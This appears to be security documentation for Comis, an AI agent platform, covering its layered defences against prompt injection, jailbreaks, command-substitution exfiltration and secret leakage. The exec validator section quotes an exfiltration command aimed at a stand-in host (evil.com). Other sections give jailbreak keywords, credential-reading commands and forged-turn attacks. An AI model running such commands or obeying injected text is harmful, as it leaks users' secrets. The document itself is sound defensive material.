How the Layers Work Together
Every message passes through six security checkpoints as it moves through Comis. Each checkpoint has its own set of protections, and the layers at each checkpoint work independently. This means a failure in one layer does not compromise the others.- At the gateway — Bearer token authentication and (optionally) mTLS verify the client before the request enters Comis
- When a message arrives — Input is validated, scanned for manipulation, rate-limited, and (for email) sender-filtered before your agent sees it
- When skills load — Skill content is scanned for threats and sanitized before it can influence your agent
- When the agent acts — Actions are classified, restricted by the
configured tool policy, may require approval, and
system.execcommands are inspected before the exec adapter attempts OS-level isolation - When a response completes — Output is scanned for leaked secrets and canary token extraction; streaming transports can emit deltas before this completed-response check
- When data is stored — Memory writes are validated, secrets are encrypted, and config is redacted
Security Layers
At the Gateway
Comis exposes its HTTP, JSON-RPC, and WebSocket endpoints through a single gateway. These layers protect that perimeter before any request even reaches the input checkpoint.Bearer Token Authentication
Bearer Token Authentication
crypto.timingSafeEqual() — the
server compares against every entry even when the first one already
matched — so attackers cannot probe valid tokens by measuring response
time. Each token has a list of allowed scopes (e.g., rpc, ws,
admin).Why it matters: Without authentication, anyone who can reach the
gateway can drive your agents, read messages, and edit configuration.
Timing-safe comparison closes the side-channel that naive string
equality opens.Do I need to configure it? Yes — supply tokens under
gateway.tokens in your config. See Hardening for
a worked example.mTLS (Mutual TLS)
mTLS (Mutual TLS)
X509Certificate)
and — when configured — requires clients to present a valid certificate
signed by the configured CA. Client identity is extracted from the cert’s
Common Name (CN).Why it matters: TLS encrypts traffic so bearer tokens cannot be
intercepted on the network. Mutual TLS extends that to client
authentication: only holders of an enrolled cert can connect at all.Do I need to configure it? Optional but recommended for any remote
deployment. Set gateway.tls.certPath, keyPath, and caPath. See
Hardening for the full setup.Microsoft Teams Public Endpoint
Microsoft Teams Public Endpoint
/channels/msteams/api/messages on your gateway. The
route is mounted only when the channel is enabled
(channels.msteams.enabled: true; off by default), rides the gateway’s
existing TLS surface, and every inbound request is validated against the Bot
Framework signing keys before it reaches your agent.Why it matters: A public endpoint is an exposed surface. Requiring the
channel to be explicitly enabled, validating every inbound request, and
terminating TLS at the gateway (or a reverse proxy / Tailscale Funnel in
front of it) keeps that surface closed by default and authenticated when
open. A webhook channel is also exempt from the health monitor’s automatic
stale-reap, so a silently broken endpoint would otherwise report healthy
forever — a bot that quietly stops receiving messages with no error.Do I need to configure it? Yes if you enable Teams. Expose the gateway
over HTTPS (a reverse proxy or Tailscale Funnel is recommended), keep
channels.msteams.enabled off until the endpoint is wired, and rely on the
comis doctor Teams probes plus the missed-inbound alert
(missedInboundThresholdMs, default 6 hours) to catch a dead ingress — it
surfaces as a comis system-health health signal. See the
Microsoft Teams setup guide for the full exposure and
liveness walkthrough.When a Message Arrives
The first checkpoint protects against malicious or malformed input. These layers run before your agent processes the message.Input Validation
Input Validation
Jailbreak Detection
Jailbreak Detection
ignore, previous, instructions, system,
bypass, override, forget, delete).Why it matters: Catches attempts to trick your agent into ignoring its
safety instructions. Even sophisticated multi-step manipulation attempts are
detected.Do I need to configure it? No. Active by default in “warn” mode — it
reinforces agent instructions when suspicious patterns are detected without
blocking messages outright. Configurable thresholds: mediumThreshold
(default 0.4), highThreshold (default 0.7), action (warn default,
or block).Injection Rate Limiting
Injection Rate Limiting
External Content Wrapping
External Content Wrapping
email, webhook, api, file_read, web_fetch,
channel_metadata, web_search, document.Do I need to configure it? No. Automatically applied to all external
content sources.Email Sender Filter
Email Sender Filter
allowlist (default) closes the door unless the sender appears in
allowFrom; mode open accepts any sender. The filter also auto-detects
bulk and automated email by inspecting RFC 3834 Auto-Submitted,
Precedence, List-Unsubscribe, and X-Auto-Response-Suppress headers,
plus noreply address patterns.Why it matters: Email is the easiest way to inject prompts into an
agent. A locked-down sender list keeps adversaries from emailing your
agent at all.Do I need to configure it? Yes if you enable the email channel. Set
channels.email.allowMode and channels.email.allowFrom in your config.
The default is fail-closed: empty allowlist blocks everything.When Skills Load
Custom skills can contain anything — including dangerous instructions. These layers ensure that skill content is safe before your agent uses it.Content Scanning
Content Scanning
skills.contentScanning.enabled: true,
skills.contentScanning.blockOnCritical: true.
Scanning runs at two points: an install-time gate over every file in a
skill bundle (not disableable), and a load-time scan of the SKILL.md
body (governed by the keys above).Sanitization Pipeline
Sanitization Pipeline
When the Agent Acts
Once your agent decides to take an action, these layers control what it is allowed to do and how much it can spend. This is where tool restrictions, action classifications, human approval, and network safety come into play. This checkpoint has the most layers because agent actions carry the highest risk.Tool Policy
Tool Policy
full (unrestricted).
For production, restrict each agent to the minimum set of tools it needs.
See Tool Policy to restrict access.Action Classification
Action Classification
security.actionConfirmation.requireForDestructive: true,
security.actionConfirmation.requireForSensitive: falseApproval Gate
Approval Gate
- Denial cache (60s by default) auto-denies an identical request that was just denied
- Approval cache (30s by default) auto-approves an identical request that was just approved (set to 0 to disable batching)
approvals.enabled: false,
approvals.defaultTimeoutMs: 300000,
approvals.denialCacheTtlMs: 60000,
approvals.batchApprovalTtlMs: 30000Budget Protection
Budget Protection
SSRF Protection
SSRF Protection
Safe Path
Safe Path
Exec Security Validator
Exec Security Validator
$(...), backtick substitution `...`,
process substitution <(...) and >(...), zsh process substitution
=(...), and zsh equals expansion (=cmd at a word boundary). The
validator is quote-aware: a state machine tracks whether the parser
is inside single quotes (where these patterns are safe), double quotes,
or backticks, so legitimate strings containing $( are not flagged.Why it matters: The OS sandbox isolates the filesystem, but it does
not parse shell syntax. A command like
cat workspace/file > $(curl evil.com/exfil) runs inside the sandbox
and exfiltrates data to an attacker. This validator rejects the
command before it ever reaches the shell.Do I need to configure it? No. Always active for the system.exec
tool.Exec Sandbox
Exec Sandbox
system.exec tool command in an OS-level
filesystem sandbox (bubblewrap on Linux, sandbox-exec on macOS).
The sandboxed process can only see the agent’s workspace, the graph
shared directory, and system binaries — everything else on the host
filesystem is invisible.Why it matters: File tools (read, write, edit) are protected by
Safe Path validation, but the exec tool spawns a full shell that can
access any path. Without the sandbox, an agent could bypass file tool
restrictions by running exec cat /path/to/secret instead of using
the read tool. The OS sandbox closes this gap at the kernel level.Important scope note: The exec sandbox protects only the
system.exec tool. Built-in tools that run inside the daemon process
(Node-resident skills, MCP stdio servers, image-gen helpers) are not
wrapped by this sandbox — their security relies on the application-level
layers above (tool policy, content scanner, SSRF guard, safe path).Do I need to configure it? Enabled by default. On Linux, install
bubblewrap (apt install bubblewrap). On macOS, sandbox-exec is
built in. Set execSandbox.enabled: "never" to disable (not
recommended). See Exec Sandbox.Credential Broker
Credential Broker
cat /proc/self/environ and env reveal nothing
useful. Every inject, deny, and blocked-egress event is audited on the
event bus with agentId and traceId. On Linux, the credentialed sandbox
runs in broker-only network mode where the broker unix socket is the
only bind-mounted network path — making it the only reachable egress
destination for driven-CLI traffic (kernel-enforced; validated on the Linux
production host class). The broker is fail-closed: no binding
or missing secret means the request is refused rather than forwarded.Why it matters: Even inside a filesystem sandbox, a process can read
its own environment variables. The credential broker removes the credential
from that environment entirely, so no amount of prompt injection or sandbox
escape can extract the real API key from inside the namespace.Do I need to configure it? Yes — configure an executor.broker.bindings
entry for each CLI you want to drive. Two built-in presets ship today:
anthropic and finnhub. Custom hostRules cover any other host.
See Credential Broker.When a Response Is Sent
Before any message reaches the user, these layers perform a final safety check. They are your last line of defense against leaked secrets and prompt extraction.Output Guard
Output Guard
[REDACTED:pattern_name] before the response reaches the user. The
guard also runs the two prompt-extraction patterns (system_prompt_label,
instructions_label), the canary token check, and an exact-match redaction
of the daemon’s own known secret values (e.g. the resolved gateway token) —
this catches a bare high-entropy secret that has no key=/token: prefix for
the regex patterns to anchor on, with zero false-positive risk.Why it matters: Even if your agent accidentally includes a secret in
its response, users never see it.Do I need to configure it? No. Always active. Redaction happens
automatically before the message leaves Comis.Canary Tokens
Canary Tokens
Log Sanitization
Log Sanitization
sk-,
Bearer, Telegram bot, AWS access key, AWS secret key, Stripe, Google,
Slack app, SendGrid, JWT, DB connection strings, URL passwords, Discord
bot, hex secrets, GitHub tokens). Inputs over 1 MB pass through unchanged
to avoid ReDoS on oversized strings.Pino’s structured-field redactor is the first line of defense and
auto-redacts the canonical credential keys (apiKey, token, password,
secret, authorization, botToken, privateKey, cookie,
webhookSecret) up to three levels deep. The Log Sanitizer is a regex
safety net for credentials that escape into free-text log messages.Why it matters: Prevents accidental credential exposure in log files,
which are often shared with team members for debugging or sent to log
aggregation services.Do I need to configure it? Enabled by default. Toggle with
security.logRedaction: true (default).When Data Is Stored
The final checkpoint protects data at rest. These layers ensure that stored memories, secrets, and configuration values cannot be compromised even if someone gains access to your server’s file system.Memory Write Validation
Memory Write Validation
Forged Context-Marker Neutralization
Forged Context-Marker Neutralization
[System context] / [End system context] wrapper and line-start
inbound-envelope headers ([telegram] <id> (<time>):). Applied on every
replay path (LCD store ingest, the assembler’s fresh-tail slice, and the SDK
replay context) and scoped to assistant content only, so real inbound turns
are never touched.Why it matters: The inbound-message format is plain, reproducible text
(unlike external content, which is fenced with an unforgeable per-session
nonce). Without this, a model can fabricate a “next user turn” in its reply;
the fabrication would be persisted and replayed as genuine history, so on
the following turn the agent reads its own forgery as a real user message and
acts on it — a self-reinforcing hallucination. Neutralizing the framing makes
that impossible. Each occurrence is logged (a counts-only WARN naming
forgedMarkersStripped) so the attempt is observable.Do I need to configure it? No. Always active on every replay path.Encrypted Secrets (SecretsCrypto)
Encrypted Secrets (SecretsCrypto)
comis-secrets-v1) is versioned so the
algorithm can be rotated without breaking older ciphertexts. Even if
someone accesses your files, they cannot read secrets without the master
key.Why it matters: Protects credentials at rest. Essential for any
production deployment where server files could potentially be accessed by
unauthorized parties.Do I need to configure it? No — enabled by default. See
Secrets to manage the master key or switch the
storage backend.Default: security.storage: encryptedCentralized Secret Access (SecretManager)
Centralized Secret Access (SecretManager)
SecretManager interface with only four methods (get, has,
require, keys). Direct process.env access is forbidden by an
ESLint rule, so the manager is the only auditable path to a credential.
The manager takes a defensive copy of the env on creation — mutations to
process.env after startup do not change what the manager exposes — and
has no enumeration / getAll() escape hatch.Why it matters: Centralizing credential access means every read can
be logged, scoped, or denied. ESLint enforcement means a developer cannot
accidentally bypass it.Do I need to configure it? No. Always active.Per-Agent Secret Scoping (ScopedSecretManager)
Per-Agent Secret Scoping (ScopedSecretManager)
SecretManager per agent. Each agent
gets a glob-pattern allowlist (secrets.allow: ["openai_*", ...]) that
filters which secret names it can read. Successful reads, denied reads,
and missing-key reads all emit secret:accessed audit events tagged with
the agent ID. An empty allowlist falls back to unrestricted access (with
a one-time warning), so an agent with no secrets.allow config is never
locked out of every credential.Why it matters: Implements least-privilege at the credential layer. A
customer-support agent never needs your AWS keys; this layer makes that
explicit and auditable.Do I need to configure it? Yes — recommended for production. Set
agents.<id>.secrets.allow per agent. See Secrets.Multi-Source Secret Resolution (SecretRefResolver)
Multi-Source Secret Resolution (SecretRefResolver)
${VAR} or
SecretRef objects from three providers:- env — routed through
SecretManagerfor auditability - file — absolute path, regular-file check, no symlinks to
restricted paths, max 1MB, JSON Pointer extraction via
provider#/json/pointer - exec — launches a credential helper, sends a versioned JSON-RPC request, validates the response shape, 10-second default timeout
pass, 1Password, aws-vault, or a
sealed file at deploy time) without any plaintext on disk.Do I need to configure it? No — the resolver runs whenever your
config contains a SecretRef. See
Secret Manager Reference for the full
syntax.Config Redaction
Config Redaction
[REDACTED].Why it matters: Prevents credential exposure through the management API
or dashboard views.Do I need to configure it? No. Always active for config read operations.
Both the HTTP API and the web dashboard use this redaction layer.Build-Time Enforcement
Comis also enforces security-oriented source rules at lint time (pnpm lint:security). CI fails when a rule is violated, including:
- No
eval()— viasecurity/detect-eval-with-expression - No
Function()constructor — equivalent toeval, banned via AST selector - No raw
path.join()— forces every path operation throughsafePath() - No direct
process.env— forces every credential access throughSecretManager
Putting It All Together
The controls work at independent checkpoints so one failure does not automatically disable every other defense. Their effectiveness still depends on deployment configuration, platform support, and the authority granted to the daemon and its integrations. Some controls are automatic, while gateway tokens, mTLS, approvals, tool policy, and channel restrictions need operator configuration. Runcomis doctor to inspect the current posture, then follow Hardening.
Local Model Security Posture
Model-independent platform controls
When you configure a local or quantized model, the following controls are implemented by the platform rather than by the model. They reduce exposure but do not create an unconditional security guarantee:securityLevel Scales Inversely with capabilityClass
When capabilityClass is set to a weaker class (e.g., via providers.entries.<id>.capabilities.capabilityClass: small), the platform automatically increases lockdown intensity:
contextEngine.compactPrompt.enabled=true) always retains the full safety core regardless of capabilityClass.
Egress Governance Posture
When a local provider is configured and no networked tools or channels are used, model-inference requests can remain local. Tools, channels, telemetry, and integrations may still create network traffic, so verify the whole deployment rather than inferring local-only operation from the model provider. Off-device escalation to a cloud model is not built. If it is ever implemented, it will require:- Explicit operator opt-in
- completed-payload redaction before off-device transmission
- Payload scope-limit (no full context exfiltration)
- Canary token in escalated payload (exfiltration detection)
Recommended Secure Local Model Setup
See the qwen3.6 configuration reference for the completeconfig.yaml snippet with all security-relevant settings.
For model selection guidance: use general-purpose qwen3.6 variants (not coding-tuned models) for agent reliability. Coding-tuned models can exhibit goal fixation that the GoalAnchor and verification critic are designed to detect and correct — but general models avoid the issue in the first place.
